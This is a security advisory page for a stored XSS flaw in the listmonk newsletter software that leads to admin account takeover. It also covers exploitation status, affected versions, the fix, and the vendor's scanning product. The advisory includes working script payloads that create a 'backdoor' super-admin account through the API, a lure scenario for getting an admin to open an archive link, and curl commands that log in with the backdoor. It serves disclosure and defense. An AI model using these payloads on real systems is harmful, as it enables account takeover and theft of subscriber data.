GHSA-jmr4-p576-v565 — listmonk
Fix: knadh/listmonk@74dc5a0GHSA-jmr4-p576-v565 is a Cross-site Scripting (XSS) vulnerability in github.com/knadh/listmonk. A fix is available for github.com/knadh/listmonk — see the affected versions and patch details below.
listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jmr4-p576-v565.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/knadh/listmonk🐹github.com/knadh/listmonkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Security Advisory: Stored XSS Leading to Admin Account Takeover
Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting
Summary
A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.
The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.
Required Attacker Permissions
campaigns:manage - Create/edit campaigns
campaigns:get - View campaigns
lists:get_all - Access lists
templates:get - Access templates
Note: These are common permissions for content managers who are not full admins.
Attack Vectors
Vector 1: Raw HTML (Direct Script Tag)
<script>
fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>
Vector 2: Go Template Safe Function
{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}
Attack Scenarios
Scenario 1: Campaign Preview Attack
- Attacker creates campaign with XSS payload
- Request is made to super admin: "Please review my newsletter draft"
- Super admin opens campaign and clicks Preview
- XSS executes → Backdoor admin account created
- Attacker logs in with
backdoor/Hacked123
Scenario 2: Archive Link Attack (No Click Required)
- Attacker creates campaign with XSS payload
- Attacker enables Archive for the campaign
- Attacker shares archive link:
http://localhost:9000/archive/{uuid} - Super admin visits the link (no preview click needed!)
- XSS executes automatically → Account takeover
Proof of Concept
Step 1: Create Malicious Campaign
As lower-privileged user, create campaign with body:
<script>
fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
username: 'backdoor',
email: '[email protected]',
name: 'Backdoor Admin',
password: 'Hacked123',
type: 'user',
status: 'enabled',
userRoleId: 1,
user_role_id: 1
})
});
</script>
Step 2: Enable Archive (Optional - for link-based attack)
- Edit campaign settings
- Enable "Archive"
- Copy archive URL:
http://localhost:9000/archive/{campaign-uuid}
Step 3: Trigger Execution
Option A - Preview:
- Send campaign to super admin for "review"
- Super admin previews → XSS fires
Option B - Archive Link:
- Share archive URL with super admin
- Super admin visits link → XSS fires automatically
Step 4: Verify Takeover
# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
-d "username=backdoor&password=Hacked123" \
-c cookies.txt -L
# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"
Evidence Screenshots
[Screenshot 1: Lower-privileged user creating malicious campaign]
<img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />
[Screenshot 2: Super admin previewing campaign]
<img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" />
[Screenshot 3: Backdoor user successfully created]
<img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" />
Impact
| Action | Possible via XSS |
|---|---|
| Create backdoor admin | ✅ Yes |
| Export all subscribers | ✅ Yes |
| Modify SMTP settings | ✅ Yes |
| Delete all campaigns | ✅ Yes |
| Access API keys/secrets | ✅ Yes |
Affected Components
| Component | XSS Works? | Method |
|---|---|---|
| Campaign body (Raw HTML) | ✅ Yes | Direct <script> tag |
| Campaign body (Template) | ✅ Yes | {{ \ ` | Safe }}` |
| Template body | ✅ Yes | Both methods |
| Campaign archive | ✅ Yes | Automatic execution on visit |
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/knadh/listmonk | ≥ 1.1.1&&< 6.0.0 | 6.0.0go get github.com/knadh/listmonk@v6.0.0 |
| 🐹Go | github.com/knadh/listmonk | all versions | 1.1.1-0.20251231125615-74dc5a01cfbbgo get github.com/knadh/listmonk@v1.1.1-0.20251231125615-74dc5a01cfbb |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/knadh/listmonk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/knadh/listmonk to 6.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jmr4-p576-v565 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jmr4-p576-v565 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-jmr4-p576-v565. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jmr4-p576-v565 in your dependencies?
O3 Security finds GHSA-jmr4-p576-v565 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.